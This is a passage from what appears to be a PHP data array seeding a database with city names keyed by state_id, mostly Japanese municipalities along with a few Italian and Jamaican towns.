['state_id' => '1901', 'name' => 'carre'],\n ['state_id' => '1901', 'name' => 'castelgomberto'],\n ['state_id' => '1901', 'name' => 'costabissara'],\n ['state_id' => '1901', 'name' => 'grumolo delle abbadesse'],\n ['state_id' => '1901', 'name' => 'piovene rocchette'],\n ['state_id' => '1901', 'name' => 'povolaro'],\n ['state_id' => '1901', 'name' => 'rossano veneto'],\n ['state_id' => '1901', 'name' => 'san pietro di rosa'],\n ['state_id' => '1901', 'name' => 'san vito di leguzzano'],\n ['state_id' => '1901', 'name' => 'sandrigo'],\n ['state_id' => '1901', 'name' => 'thiene'],\n ['state_id' => '1901', 'name' => 'torrebelvicino'],\n ['state_id' => '1901', 'name' => 'torri di quartesolo'],\n ['state_id' => '1901', 'name' => 'villaverla'],\n ['state_id' => '1902', 'name' => 'nepi'],\n ['state_id' => '1904', 'name' => 'may pen'],\n ['state_id' => '1905', 'name' => 'lucea'],\n ['state_id' => '1906', 'name' => 'kingston'],\n ['state_id' => '1907', 'name' => 'mandeville'],\n ['state_id' => '1908', 'name' => 'port antonio'],\n ['state_id' => '1916', 'name' => 'albert town'],\n ['state_id' => '1916', 'name' => 'falmouth'],\n ['state_id' => '1917', 'name' => 'savanna la mar'],\n ['state_id' => '1918', 'name' => 'agui'],\n ['state_id' => '1918', 'name' => 'anjo'],\n ['state_id' => '1918', 'name' => 'atsumi'],\n ['state_id' => '1918', 'name' => 'bisai'],\n ['state_id' => '1918', 'name' => 'chiryu'],\n ['state_id' => '1918', 'name' => 'chita'],\n ['state_id' => '1918', 'name' => 'fujioka'],\n ['state_id' => '1918', 'name' => 'fuso'],\n ['state_id' => '1918', 'name' => 'gamagori'],\n ['state_id' => '1918', 'name' => 'handa'],\n ['state_id' => '1918', 'name' => 'hekinan'],\n ['state_id' => '1918', 'name' => 'higashiura'],\n ['state_id' => '1918', 'name' => 'ichinomiya'],\n ['state_id' => '1918', 'name' => 'inazawa'],\n ['state_id' => '1918', 'name' => 'inuyama'],\n ['state_id' => '1918', 'name' => 'isshiki'],\n ['state_id' => '1918', 'name' => 'iwakura'],\n ['state_id' => '1918', 'name' => 'jimokuji'],\n ['state_id' => '1918', 'name' => 'kanie'],\n ['state_id' => '1918', 'name' => 'kariya'],\n ['state_id' => '1918', 'name' => 'kasugai'],\n ['state_id' => '1918', 'name' => 'kira'],\n ['state_id' => '1918', 'name' => 'kisogawa'],\n ['state_id' => '1918', 'name' => 'komaki'],\n ['state_id' => '1918', 'name' => 'konan'],\n ['state_id' => '1918', 'name' => 'kota'],\n ['state_id' => '1918', 'name' => 'kozakai'],\n ['state_id' => '1918', 'name' => 'mihama'],\n ['state_id' => '1918', 'name' => 'minamichita'],\n ['state_id' => '1918', 'name' => 'miwa'],\n ['state_id' => '1918', 'name' => 'miyoshi'],\n ['state_id' => '1918', 'name' => 'nagakute'],\n ['state_id' => '1918', 'name' => 'nagoya'],\n ['state_id' => '1918', 'name' => 'nishiharu'],\n ['state_id' => '1918', 'name' => 'nishio'],\n ['state_id' => '1918', 'name' => 'nisshin'],\n ['state_id' => '1918', 'name' => 'obu'],\n ['state_id' => '1918', 'name' => 'oharu'],\n ['state_id' => '1918', 'name' => 'okazaki'],\n ['state_id' => '1918', 'name' => 'owariashi'],\n ['state_id' => '1918', 'name' => 'saori'],\n ['state_id' => '1918', 'name' => 'saya'],\n ['state_id' => '1918', 'name' => 'seto'],\n ['state_id' => '1918', 'name' => 'shikatsu'],\n ['state_id' => '1918', 'name' => 'shinshiro'],\n ['state_id' => '1918', 'name' => 'shippo'],\n ['state_id' => '1918', 'name' => 'sobue'],\n ['state_id' => '1918', 'name' => 'tahara'],\n ['state_id' => '1918', 'name' => 'takahama'],\n ['state_id' => '1918', 'name' => 'taketoyo'],\n ['state_id' => '1918', 'name' => 'togo'],\n ['state_id' => '1918', 'name' => 'tokai'],\n ['state_id' => '1918', 'name' => 'tokoname'],\n ['state_id' => '1918', 'name' => 'toyoake'],\n ['state_id' => '1918', 'name' => 'toyohashi'],\n ['state_id' => '1918', 'name' => 'toyokawa'],\n ['state_id' => '1918', 'name' => 'toyota'],\n ['state_id' => '1918', 'name' => 'tsushima'],\n ['state_id' => '1918', 'name' => 'yatomi'],\n ['state_id' => '1919', 'name' => 'akita'],\n ['state_id' => '1919', 'name' => 'honjo'],\n ['state_id' => '1919', 'name' => 'kazuno'],\n ['state_id' => '1919', 'name' => 'noshiro'],\n ['state_id' => '1919', 'name' => 'odate'],\n ['state_id' => '1919', 'name' => 'oga'],\n ['state_id' => '1919', 'name' => 'omagari'],\n ['state_id' => '1919', 'name' => 'takanosu'],\n ['state_id' => '1919', 'name' => 'tenno'],\n ['state_id' => '1919', 'name' => 'ugo'],\n ['state_id' => '1919', 'name' => 'yokote'],\n ['state_id' => '1919', 'name' => 'yuzawa'],\n ['state_id' => '1920', 'name' => 'aomori'],\n ['state_id' => '1920', 'name' => 'goshogawara'],\n ['state_id' => '1920', 'name' => 'hachinohe'],\n ['state_id' => '1920', 'name' => 'hiraka'],\n ['state_id' => '1920', 'name' => 'hirosaki'],\n ['state_id' => '1920', 'name' => 'kizukuri'],\n ['state_id' => '1920', 'name' => 'kuroishi'],\n ['state_id' => '1920', 'name' => 'misawa'],\n ['state_id' => '1920', 'name' => 'mutsu'],\n ['state_id' => '1920', 'name' => 'namioka'],\n ['state_id' => '1920', 'name' => 'towada'],\n ['state_id' => '1921', 'name' => 'abiko'],\n ['state_id' => '1921', 'name' => 'asahi'],\n ['state_id' => '1921', 'name' => 'chiba'],\n ['state_id' => '1921', 'name' => 'choshi'],\n ['state_id' => '1921', 'name' => 'funabashi'],\n ['state_id' => '1921', 'name' => 'fussa'],\n ['state_id' => '1921', 'name' => 'futtsu'],\n ['state_id' => '1921', 'name' => 'ichihara'],\n ['state_id' => '1921', 'name' => 'ichikawa'],\n ['state_id' => '1921', 'name' => 'inzai'],\n ['state_id' => '1921', 'name' => 'kamagaya'],\n ['state_id' => '1921', 'name' => 'kamogawa'],\n ['state_id' => '1921', 'name' => 'kashiwa'],\n ['state_id' => '1921', 'name' => 'katsuura'],\n ['state_id' => '1921', 'name' => 'kimitsu'],\n ['state_id' => '1921', 'name' => 'kisarazu'],\n ['state_id' => '1921', 'name' => 'kujukuri'],\n ['state_id' => '1921', 'name' => 'matsudo'],\n ['state_id' => '1921', 'name' => 'mobara'],\n ['state_id' => '1921', 'name' => 'nagareyama'],\n ['state_id' => '1921', 'name' => 'narashino'],\n ['state_id' => '1921', 'name' => 'narita'],\n ['state_id' => '1921', 'name' => 'naruto'],\n ['state_id' => '1921', 'name' => 'noda'],\n ['state_id' => '1921', 'name' => 'oamishirasato'],\n ['state_id' => '1921', 'name' => 'ohara'],\n ['state_id' => '1921', 'name' => 'omigawa'],\n ['state_id' => '1921', 'name' => 'sakae'],\n ['state_id' => '1921', 'name' => 'sakura'],\n ['state_id' => '1921', 'name' => 'sambu'],\n ['state_id' => '1921', 'name' => 'sawara'],\n ['state_id' => '1921', 'name' => 'sekiyado'],\n ['state_id' => '1921', 'name' => 'shiroi'],\n ['state_id' => '1921', 'name' => 'shisui'],\n ['state_id' => '1921', 'name' => 'shonan'],\n ['state_id' => '1921', 'name' => 'sodegaura'],\n ['state_id' => '1921', 'name' => 'tateyama'],\n ['state_id' => '1921', 'name' => 'togane'],\n ['state_id' => '1921', 'name' => 'tomisato'],\n ['state_id' => '1921', 'name' => 'urayasu'],\n ['state_id' => '1921', 'name' => 'yachimata'],\n ['state_id' => '1921', 'name' => 'yachiyo'],\n ['state_id' => '1921', 'name' => 'yokaichiba'],\n ['state_id' => '1921', 'name' => 'yotsukaido'],\n ['state_id' => '1922', 'name' => 'hojo'],\n ['state_id' => '1922', 'name' => 'imabari'],\n ['state_id' => '1922', 'name' => 'iyo'],\n ['state_id' => '1922', 'name' => 'iyomishima'],\n ['state_id' => '1922', 'name' => 'kawanoe'],\n ['state_id' => '1922', 'name' => 'masaki'],\n ['state_id' => '1922', 'name' => 'matsuyama'],\n ['state_id' => '1922', 'name' => 'niihama'],\n ['state_id' => '1922', 'name' => 'ozu'],\n ['state_id' => '1922', 'name' => 'saijo'],\n ['state_id' => '1922', 'name' => 'shigenobu'],\n ['state_id' => '1922', 'name' => 'tobe'],\n ['state_id' => '1922', 'name' => 'toyo'],\n ['state_id' => '1922', 'name' => 'uwajima'],\n ['state_id' => '1922', 'name' => 'yawatahama'],\n ['state_id' => '1923', 'name' => 'fukui'],\n ['state_id' => '1923', 'name' => 'harue'],\n ['state_id' => '1923', 'name' => 'katsuyama'],\n ['state_id' => '1923', 'name' => 'maruoka'],\n ['state_id' => '1923', 'name' => 'mikuni'],\n ['state_id' => '1923', 'name' => 'obama'],\n ['state_id' => '1923', 'name' => 'ono'],\n ['state_id' => '1923', 'name' => 'sabae'],\n ['state_id' => '1923', 'name' => 'takefu'],\n ['state_id' => '1923', 'name' => 'tsuruga'],\n ['state_id' => '1924', 'name' => 'amagi'],\n ['state_id' => '1924', 'name' => 'buzen'],\n ['state_id' => '1924', 'name' => 'chikugo'],\n ['state_id' => '1924', 'name' => 'chikushino'],\n ['state_id' => '1924', 'name' => 'dazaifu'],\n ['state_id' => '1924', 'name' => 'fukuma'],\n ['state_id' => '1924', 'name' => 'fukuoka'],\n ['state_id' => '1924', 'name' => 'hirokawa'],\n ['state_id' => '1924', 'name' => 'honami'],\n ['state_id' => '1924', 'name' => 'iizuka'],\n ['state_id' => '1924', 'name' => 'inatsuki'],\n ['state_id' => '1924', 'name' => 'kanda'],\n ['state_id' => '1924', 'name' => 'kasuga'],\n ['state_id' => '1924', 'name' => 'kasuya'],\n ['state_id' => '1924', 'name' => 'kawasaki'],\n ['state_id' => '1924', 'name' => 'kitakyushu'],\n ['state_id' => '1924', 'name' => 'koga'],\n ['state_id' => '1924', 'name' => 'kurate'],\n ['state_id' => '1924', 'name' => 'kurume'],\n ['state_id' => '1924', 'name' => 'maebaru'],\n ['state_id' => '1924', 'name' => 'miyata'],\n ['state_id' => '1924', 'name' => 'mizumaki'],\n ['state_id' => '1924', 'name' => 'munakata'],\n ['state_id' => '1924', 'name' => 'nakagawa'],\n ['state_id' => '1924', 'name' => 'nakama'],\n ['state_id' => '1924', 'name' => 'nogata'],\n ['state_id' => '1924', 'name' => 'ogori'],\n ['state_id' => '1924', 'name' => 'okagaki'],\n ['state_id' => '1924', 'name' => 'okawa'],\n ['state_id' => '1924', 'name' => 'omuta'],\n ['state_id' => '1924', 'name' => 'onojo'],\n ['state_id' => '1924', 'name' => 'sasaguri'],\n ['state_id' => '1924', 'name' => 'setaka'],\n ['state_id' => '1924', 'name' => 'shime'],\n ['state_id' => '1924', 'name' => 'shingu'],\n ['state_id' => '1924', 'name' => 'sue'],\n ['state_id' => '1924', 'name' => 'tagawa'],\n ['state_id' => '1924', 'name' => 'tanushimaru'],\n ['state_id' => '1924', 'name' => 'umi'],\n ['state_id' => '1924', 'name' => 'yamada'],\n ['state_id' => '1924', 'name' => 'yame'],\n ['state_id' => '1924', 'name' => 'yanagawa'],\n ['state_id' => '1924', 'name' => 'yukuhashi'],\n ['state_id' => '1925', 'name' => 'aizubange'],\n ['state_id' => '1925', 'name' => 'aizuwakamatsu'],\n ['state_id' => '1925', 'name' => 'fukushima'],\n ['state_id' => '1925', 'name' => 'funehiki'],\n ['state_id' => '1925', 'name' => 'haramachi'],\n ['state_id' => '1925', 'name' => 'hobara'],\n ['state_id' => '1925', 'name' => 'inawashiro'],\n ['state_id' => '1925', 'name' => 'ishikawa'],\n ['state_id' => '1925', 'name' => 'iwaki'],\n ['state_id' => '1925', 'name' => 'kawamata'],\n ['state_id' => '1925', 'name' => 'kitakata'],\n ['state_id' => '1925', 'name' => 'koriyama'],\n ['state_id' => '1925', 'name' => 'miharu'],\n ['state_id' => '1925', 'name' => 'motomiya'],\n ['state_id' => '1925', 'name' => 'namie'],\n ['state_id' => '1925', 'name' => 'nihommatsu'],\n ['state_id' => '1925', 'name' => 'shirakawa'],\n ['state_id' => '1925', 'name' => 'soma'],\n ['state_id' => '1925', 'name' => 'sukagawa'],\n ['state_id' => '1925', 'name' => 'yanagawa'],\n ['state_id' => '1926', 'name' => 'ena'],\n ['state_id' => '1926', 'name' => 'gifu'],\n ['state_id' => '1926', 'name' => 'ginan'],\n ['state_id' => '1926', 'name' => 'godo'],\n ['state_id' => '1926', 'name' => 'hashima'],\n ['state_id' => '1926', 'name' => 'hozumi'],\n ['state_id' => '1926', 'name' => 'ibigawa'],\n ['state_id' => '1926', 'name' => 'ikeda'],\n ['state_id' => '1926', 'name' => 'kakamigahara'],\n ['state_id' => '1926', 'name' => 'kani'],\n ['state_id' => '1926', 'name' => 'kasamatsu'],\n ['state_id' => '1926', 'name' => 'mino'],\n ['state_id' => '1926', 'name' => 'minokamo'],\n ['state_id' => '1926', 'name' => 'mitake'],\n ['state_id' => '1926', 'name' => 'mizunami'],\n ['state_id' => '1926', 'name' => 'nakatsugawa'],\n ['state_id' => '1926', 'name' => 'ogaki'],\n ['state_id' => '1926', 'name' => 'ono'],\n ['state_id' => '1926', 'name' => 'seki'],\n ['state_id' => '1926', 'name' => 'tajimi'],\n ['state_id' => '1926', 'name' => 'takayama'],\n ['state_id' => '1926', 'name' => 'tarui'],\n ['state_id' => '1926', 'name' => 'toki'],\n ['state_id' => '1926', 'name' => 'yoro'],\n ['state_id' => '1927', 'name' => 'annaka'],\n ['state_id' => '1927', 'name' => 'azuma'],\n ['state_id' => '1927', 'name' => 'fujimi'],\n ['state_id' => '1927', 'name' => 'fujioka'],\n ['state_id' => '1927', 'name' => 'gumma'],\n ['state_id' => '1927', 'name' => 'haruna'],\n ['state_id' => '1927', 'name' => 'isesaki'],\n ['state_id' => '1927', 'name' => 'kasakake'],\n ['state_id' => '1927', 'name' => 'kiryu'],\n ['state_id' => '1927', 'name' => 'maebashi'],\n ['state_id' => '1927', 'name' => 'nakanojo'],\n ['state_id' => '1927', 'name' => 'nitta'],\n ['state_id' => '1927', 'name' => 'numata'],\n ['state_id' => '1927', 'name' => 'oizumi'],\n ['state_id' => '1927', 'name' => 'omama'],\n ['state_id' => '1927', 'name' => 'ora'],\n ['state_id' => '1927', 'name' => 'ota'],\n ['state_id' => '1927', 'name' => 'sakai'],\n ['state_id' => '1927', 'name' => 'shibukawa'],\n ['state_id' => '1927', 'name' => 'takasaki'],\n ['state_id' => '1927', 'name' => 'tamamura'],\n ['state_id' => '1927', 'name' => 'tatebayashi'],\n ['state_id' => '1927', 'name' => 'tomioka'],\n ['state_id' => '1927', 'name' => 'yoshii'],\n ['state_id' => '1928', 'name' => 'fuchu'],\n ['state_id' => '1928', 'name' => 'fukuyama'],\n ['state_id' => '1928', 'name' => 'hatsukaichi'],\n ['state_id' => '1928', 'name' => 'higashihiroshima'],\n ['state_id' => '1928', 'name' => 'hiroshima'],\n ['state_id' => '1928', 'name' => 'innoshima'],\n ['state_id' => '1928', 'name' => 'kaita'],\n ['state_id' => '1928', 'name' => 'kannabe'],\n ['state_id' => '1928', 'name' => 'kumano'],\n ['state_id' => '1928', 'name' => 'kure'],\n ['state_id' => '1928', 'name' => 'kurose'],\n ['state_id' => '1928', 'name' => 'mihara'],\n ['state_id' => '1928', 'name' => 'miyoshi'],\n ['state_id' => '1928', 'name' => 'ono'],\n ['state_id' => '1928', 'name' => 'onomichi'],\n ['state_id' => '1928', 'name' => 'otake'],\n ['state_id' => '1928', 'name' => 'shinichi'],\n ['state_id' => '1928', 'name' => 'shobara'],\n ['state_id' => '1928', 'name' => 'takehara'],\n ['state_id' => '1929', 'name' => 'abashiri'],\n ['state_id' => '1929', 'name' => 'akabira'],\n ['state_id' => '1929', 'name' => 'asahikawa'],\n ['state_id' => '1929', 'name' => 'ashibetsu'],\n ['state_id' => '1929', 'name' => 'bibai'],\n ['state_id' => '1929', 'name' => 'bihoro'],\n ['state_id' => '1929', 'name' => 'chitose'],\n ['state_id' => '1929', 'name' => 'date'],\n ['state_id' => '1929', 'name' => 'ebetsu'],\n ['state_id' => '1929', 'name' => 'eniwa'],\n ['state_id' => '1929', 'name' => 'fukagawa'],\n ['state_id' => '1929', 'name' => 'furano'],\n ['state_id' => '1929', 'name' => 'hakodate'],\n ['state_id' => '1929', 'name' => 'hokkaido'],\n ['state_id' => '1929', 'name' => 'hyogo'],\n ['state_id' => '1929', 'name' => 'ishikari'],\n ['state_id' => '1929', 'name' => 'iwamizawa'],\n ['state_id' => '1929', 'name' => 'iwanai'],\n ['state_id' => '1929', 'name' => 'kamiiso'],\n ['state_id' => '1929', 'name' => 'kitahiroshima'],\n ['state_id' => '1929', 'name' => 'kitami'],\n ['state_id' => '1929', 'name' => 'kushiro'],\n ['state_id' => '1929', 'name' => 'makubetsu'],\n ['state_id' => '1929', 'name' => 'mikasa'],\n ['state_id' => '1929', 'name' => 'mombetsu'],\n ['state_id' => '1929', 'name' => 'muroran'],\n ['state_id' => '1929', 'name' => 'nakashibetsu'],\n ['state_id' => '1929', 'name' => 'nanae'],\n ['state_id' => '1929', 'name' => 'nayoro'],\n ['state_id' => '1929', 'name' => 'nemuro'],\n ['state_id' => '1929', 'name' => 'noboribetsu'],\n ['state_id' => '1929', 'name' => 'obihiro'],\n ['state_id' => '1929', 'name' => 'otaru'],\n ['state_id' => '1929', 'name' => 'otofuke'],\n ['state_id' => '1929', 'name' => 'rumoi'],\n ['state_id' => '1929', 'name' => 'sapporo'],\n ['state_id' => '1929', 'name' => 'shibetsu'],\n ['state_id' => '1929', 'name' => 'shiraoi'],\n ['state_id' => '1929', 'name' => 'shizunai'],\n ['state_id' => '1929', 'name' => 'sunagawa'],\n ['state_id' => '1929', 'name' => 'takikawa'],\n ['state_id' => '1929', 'name' => 'tobetsu'],\n ['state_id' => '1929', 'name' => 'tomakomai'],\n ['state_id' => '1929', 'name' => 'utashinai'],\n ['state_id' => '1929', 'name' => 'wakkanai'],\n ['state_id' => '1929', 'name' => 'yoichi'],\n ['state_id' => '1929', 'name' => 'yubari'],\n ['state_id' => '1930', 'name' => 'aioi'],\n ['state_id' => '1930', 'name' => 'akashi'],\n ['state_id' => '1930', 'name' => 'ako'],\n ['state_id' => '1930', 'name' => 'amagasaki'],\n ['state_id' => '1930', 'name' => 'ashiya'],\n ['state_id' => '1930', 'name' => 'fukusaki'],\n ['state_id' => '1930', 'name' => 'harima'],\n ['state_id' => '1930', 'name' => 'himeji'],\n ['state_id' => '1930', 'name' => 'inagawa'],\n ['state_id' => '1930', 'name' => 'inami'],\n ['state_id' => '1930', 'name' => 'itami'],\n ['state_id' => '1930', 'name' => 'kakogawa'],\n ['state_id' => '1930', 'name' => 'kasai'],\n ['state_id' => '1930', 'name' => 'kawanishi'],\n ['state_id' => '1930', 'name' => 'kobe'],\n ['state_id' => '1930', 'name' => 'kodera'],\n ['state_id' => '1930', 'name' => 'miki'],\n ['state_id' => '1930', 'name' => 'nandan'],\n ['state_id' => '1930', 'name' => 'nishinomiya'],\n ['state_id' => '1930', 'name' => 'nishiwaki'],\n ['state_id' => '1930', 'name' => 'ono'],\n ['state_id' => '1930', 'name' => 'sanda'],\n ['state_id' => '1930', 'name' => 'sasayama'],\n ['state_id' => '1930', 'name' => 'sumoto'],\n ['state_id' => '1930', 'name' => 'taishi'],\n ['state_id' => '1930', 'name' => 'takarazuka'],\n ['state_id' => '1930', 'name' => 'takasago'],\n ['state_id' => '1930', 'name' => 'tatsuno'],\n ['state_id' => '1930', 'name' => 'toyooka'],\n ['state_id' => '1930', 'name' => 'yamasaki'],\n ['state_id' => '1930', 'name' => 'yashiro'],\n ['state_id' => '1930', 'name' => 'yumesaki'],\n ['state_id' => '1931', 'name' => 'ami'],\n ['state_id' => '1931', 'name' => 'chiyoda'],\n ['state_id' => '1931', 'name' => 'daigo'],\n ['state_id' => '1931', 'name' => 'edosaki'],\n ['state_id' => '1931', 'name' => 'fujishiro'],\n ['state_id' => '1931', 'name' => 'hasaki'],\n ['state_id' => '1931', 'name' => 'hitachi'],\n ['state_id' => '1931', 'name' => 'hitachinaka'],\n ['state_id' => '1931', 'name' => 'hitachiota'],\n ['state_id' => '1931', 'name' => 'hokota'],\n ['state_id' => '1931', 'name' => 'ibaraki'],\n ['state_id' => '1931', 'name' => 'ina'],\n ['state_id' => '1931', 'name' => 'ishige'],\n ['state_id' => '1931', 'name' => 'ishioka'],\n ['state_id' => '1931', 'name' => 'itako'],\n ['state_id' => '1931', 'name' => 'iwai'],\n ['state_id' => '1931', 'name' => 'iwase'],\n ['state_id' => '1931', 'name' => 'kamisu'],\n ['state_id' => '1931', 'name' => 'kasama'],\n ['state_id' => '1931', 'name' => 'kashima'],\n ['state_id' => '1931', 'name' => 'kasumigaura'],\n ['state_id' => '1931', 'name' => 'kitaibaraki'],\n ['state_id' => '1931', 'name' => 'koga'],\n ['state_id' => '1931', 'name' => 'kukizaki'],\n ['state_id' => '1931', 'name' => 'makabe'],\n ['state_id' => '1931', 'name' => 'minori'],\n ['state_id' => '1931', 'name' => 'mito'],\n ['state_id' => '1931', 'name' => 'mitsukaido'],\n ['state_id' => '1931', 'name' => 'moriya'],\n ['state_id' => '1931', 'name' => 'naka'],\n ['state_id' => '1931', 'name' => 'oarai'],\n ['state_id' => '1931', 'name' => 'omiya'],\n ['state_id' => '1931', 'name' => 'ryugasaki'],\n ['state_id' => '1931', 'name' => 'sakai'],\n ['state_id' => '1931', 'name' => 'sanwa'],\n ['state_id' => '1931', 'name' => 'shimodate'],\n ['state_id' => '1931', 'name' => 'shimotsuma'],\n ['state_id' => '1931', 'name' => 'sowa'],\n ['state_id' => '1931', 'name' => 'takahagi'],\n ['state_id' => '1931', 'name' => 'tokai'],\n ['state_id' => '1931', 'name' => 'tomobe'],\n ['state_id' => '1931', 'name' => 'tone'],\n ['state_id' => '1931', 'name' => 'toride'],\n ['state_id' => '1931', 'name' => 'tsukuba'],\n ['state_id' => '1931', 'name' => 'ushiku'],\n ['state_id' => '1931', 'name' => 'yachiyo'],\n ['state_id' => '1931', 'name' => 'yasato'],\n ['state_id' => '1931', 'name' => 'yuki'],\n ['state_id' => '1932', 'name' => 'hakui'],\n ['state_id' => '1932', 'name' => 'kaga'],\n ['state_id' => '1932', 'name' => 'kanazawa'],\n ['state_id' => '1932', 'name' => 'komatsu'],\n ['state_id' => '1932', 'name' => 'matto'],\n ['state_id' => '1932', 'name' => 'nanao'],\n ['state_id' => '1932', 'name' => 'nonoichi'],\n ['state_id' => '1932', 'name' => 'suzu'],\n ['state_id' => '1932', 'name' => 'tsubata'],\n ['state_id' => '1932', 'name' => 'tsurugi'],\n ['state_id' => '1932', 'name' => 'uchinada'],\n ['state_id' => '1932', 'name' => 'wajima'],\n ['state_id' => '1933', 'name' => 'daito'],\n ['state_id' => '1933', 'name' => 'esashi'],\n ['state_id' => '1933', 'name' => 'hanamaki'],\n ['state_id' => '1933', 'name' => 'ichinohe'],\n ['state_id' => '1933', 'name' => 'ichinoseki'],\n ['state_id' => '1933', 'name' => 'iwate'],\n ['state_id' => '1933', 'name' => 'kamaishi'],\n ['state_id' => '1933', 'name' => 'kitakami'],\n ['state_id' => '1933', 'name' => 'kuji'],\n ['state_id' => '1933', 'name' => 'miyako'],\n ['state_id' => '1933', 'name' => 'mizusawa'],\n ['state_id' => '1933', 'name' => 'morioka'],\n ['state_id' => '1933', 'name' => 'ninohe'],\n ['state_id' => '1933', 'name' => 'ofunato'],\n ['state_id' => '1933', 'name' => 'otsuchi'],\n ['state_id' => '1933', 'name' => 'rikuzentakata'],\n ['state_id' => '1933', 'name' => 'shiwa'],\n ['state_id' => '1933', 'name' => 'shizukuishi'],\n ['state_id' => '1933', 'name' => 'takizawa'],\n ['state_id' => '1933', 'name' => 'tono'],\n ['state_id' => '1933', 'name' => 'yahaba'],\n ['state_id' => '1933', 'name' => 'yamada'],\n ['state_id' => '1934', 'name' => 'kagawa'],\n ['state_id' => '1934', 'name' => 'kanonji'],\n ['state_id' => '1934', 'name' => 'kokubunji'],\n ['state_id' => '1934', 'name' => 'marugame'],\n ['state_id' => '1934', 'name' => 'miki'],\n ['state_id' => '1934', 'name' => 'ryonan'],\n ['state_id' => '1934', 'name' => 'sakaide'],\n ['state_id' => '1934', 'name' => 'shido'],\n ['state_id' => '1934', 'name' => 'tadotsu'],\n ['state_id' => '1934', 'name' => 'takamatsu'],\n ['state_id' => '1934', 'name' => 'tonosho'],\n ['state_id' => '1934', 'name' => 'zentsuji'],\n ['state_id' => '1935', 'name' => 'aira'],\n ['state_id' => '1935', 'name' => 'akune'],\n ['state_id' => '1935', 'name' => 'hayato'],\n ['state_id' => '1935', 'name' => 'ibusuki'],\n ['state_id' => '1935', 'name' => 'ijuin'],\n ['state_id' => '1935', 'name' => 'izumi'],\n ['state_id' => '1935', 'name' => 'kagoshima'],\n ['state_id' => '1935', 'name' => 'kajiki'],\n ['state_id' => '1935', 'name' => 'kanoya'],\n ['state_id' => '1935', 'name' => 'kaseda'],\n ['state_id' => '1935', 'name' => 'kokubu'],\n ['state_id' => '1935', 'name' => 'kushikino'],\n ['state_id' => '1935', 'name' => 'makurazaki'],\n ['state_id' => '1935', 'name' => 'naze'],\n ['state_id' => '1935', 'name' => 'nishinoomote'],\n ['state_id' => '1935', 'name' => 'okuchi'],\n ['state_id' => '1935', 'name' => 'sendai'],\n ['state_id' => '1935', 'name' => 'shibushi'],\n ['state_id' => '1935', 'name' => 'sueyoshi'],\n ['state_id' => '1935', 'name' => 'tarumizu'],\n ['state_id' => '1936', 'name' => 'aikawa'],\n ['state_id' => '1936', 'name' => 'atsugi'],\n ['state_id' => '1936', 'name' => 'ayase'],\n ['state_id' => '1936', 'name' => 'chigasaki'],\n ['state_id' => '1936', 'name' => 'ebina'],\n ['state_id' => '1936', 'name' => 'fujisawa'],\n ['state_id' => '1936', 'name' => 'hadano'],\n ['state_id' => '1936', 'name' => 'hakone'],\n ['state_id' => '1936', 'name' => 'hayama'],\n ['state_id' => '1936', 'name' => 'hiratsuka'],\n ['state_id' => '1936', 'name' => 'isehara'],\n ['state_id' => '1936', 'name' => 'kamakura'],\n ['state_id' => '1936', 'name' => 'kawasaki'],\n ['state_id' => '1936', 'name' => 'minamiashigara'],\n ['state_id' => '1936', 'name' => 'miura'],\n ['state_id' => '1936', 'name' => 'ninomiya'],\n ['state_id' => '1936', 'name' => 'odawara'],\n ['state_id' => '1936', 'name' => 'oiso'],\n ['state_id' => '1936', 'name' => 'sagamihara'],\n ['state_id' => '1936', 'name' => 'samukawa'],\n ['state_id' => '1936', 'name' => 'shiroyama'],\n ['state_id' => '1936', 'name' => 'takatsu-ku'],\n ['state_id' => '1936', 'name' => 'tsukui'],\n ['state_id' => '1936', 'name' => 'yamato'],\n ['state_id' => '1936', 'name' => 'yokohama'],\n ['state_id' => '1936', 'name' => 'yokosuka'],\n ['state_id' => '1936', 'name' => 'yugawara'],\n ['state_id' => '1936', 'name' => 'zama'],\n ['state_id' => '1936', 'name' => 'zushi'],\n ['state_id' => '1937', 'name' => 'gunma'],\n ['state_id' => '1937', 'name' => 'saitama'],\n ['state_id' => '1938', 'name' => 'aki'],\n ['state_id' => '1938', 'name' => 'ino'],\n ['state_id' => '1938', 'name' => 'kochi'],\n ['state_id' => '1938', 'name' => 'muroto'],\n ['state_id' => '1938', 'name' => 'nakamura'],\n ['state_id' => '1938', 'name' => 'nankoku'],\n ['state_id' => '1938', 'name' => 'sukumo'],\n ['state_id' => '1938', 'name' => 'susaki'],\n ['state_id' => '1938', 'name' => 'tosa'],\n ['state_id' => '1938', 'name' => 'tosashimizu'],\n ['state_id' => '1938', 'name' => 'tosayamada'],\n ['state_id' => '1939', 'name' => 'arao'],\n ['state_id' => '1939', 'name' => 'ashikita'],\n ['state_id' => '1939', 'name' => 'aso'],\n ['state_id' => '1939', 'name' => 'hitoyoshi'],\n ['state_id' => '1939', 'name' => 'hondo'],\n ['state_id' => '1939', 'name' => 'jonan'],\n ['state_id' => '1939', 'name' => 'kikuchi'],\n ['state_id' => '1939', 'name' => 'kikuyo'],\n ['state_id' => '1939', 'name' => 'koshi'],\n ['state_id' => '1939', 'name' => 'kumamoto'],\n ['state_id' => '1939', 'name' => 'mashiki'],\n ['state_id' => '1939', 'name' => 'matsubase'],\n ['state_id' => '1939', 'name' => 'minamata'],\n ['state_id' => '1939', 'name' => 'nishigoshi'],\n ['state_id' => '1939', 'name' => 'ozu'],\n ['state_id' => '1939', 'name' => 'tamana'],\n ['state_id' => '1939', 'name' => 'ueki'],\n ['state_id' => '1939', 'name' => 'ushibuka'],\n ['state_id' => '1939', 'name' => 'uto'],\n ['state_id' => '1939', 'name' => 'yamaga'],\n ['state_id' => '1939', 'name' => 'yatsushiro'],\n ['state_id' => '1940', 'name' => 'ayabe'],\n ['state_id' => '1940', 'name' => 'fukuchiyama'],\n ['state_id' => '1940', 'name' => 'joyo'],\n ['state_id' => '1940', 'name' => 'kameoka'],\n ['state_id' => '1940', 'name' => 'kizu'],\n ['state_id' => '1940', 'name' => 'kumiyama'],\n ['state_id' => '1940', 'name' => 'kyotanabe'],\n ['state_id' => '1940', 'name' => 'kyoto'],\n ['state_id' => '1940', 'name' => 'maizuru'],\n ['state_id' => '1940', 'name' => 'miyazu'],\n ['state_id' => '1940', 'name' => 'muko'],\n ['state_id' => '1940', 'name' => 'nagaokakyo'],\n ['state_id' => '1940', 'name' => 'seika'],\n ['state_id' => '1940', 'name' => 'uji'],\n ['state_id' => '1940', 'name' => 'yawata'],\n ['state_id' => '1941', 'name' => 'ago'],\n ['state_id' => '1941', 'name' => 'hisai'],\n ['state_id' => '1941', 'name' => 'ise'],\n ['state_id' => '1941', 'name' => 'kameyama'],\n ['state_id' => '1941', 'name' => 'komono'],\n ['state_id' => '1941', 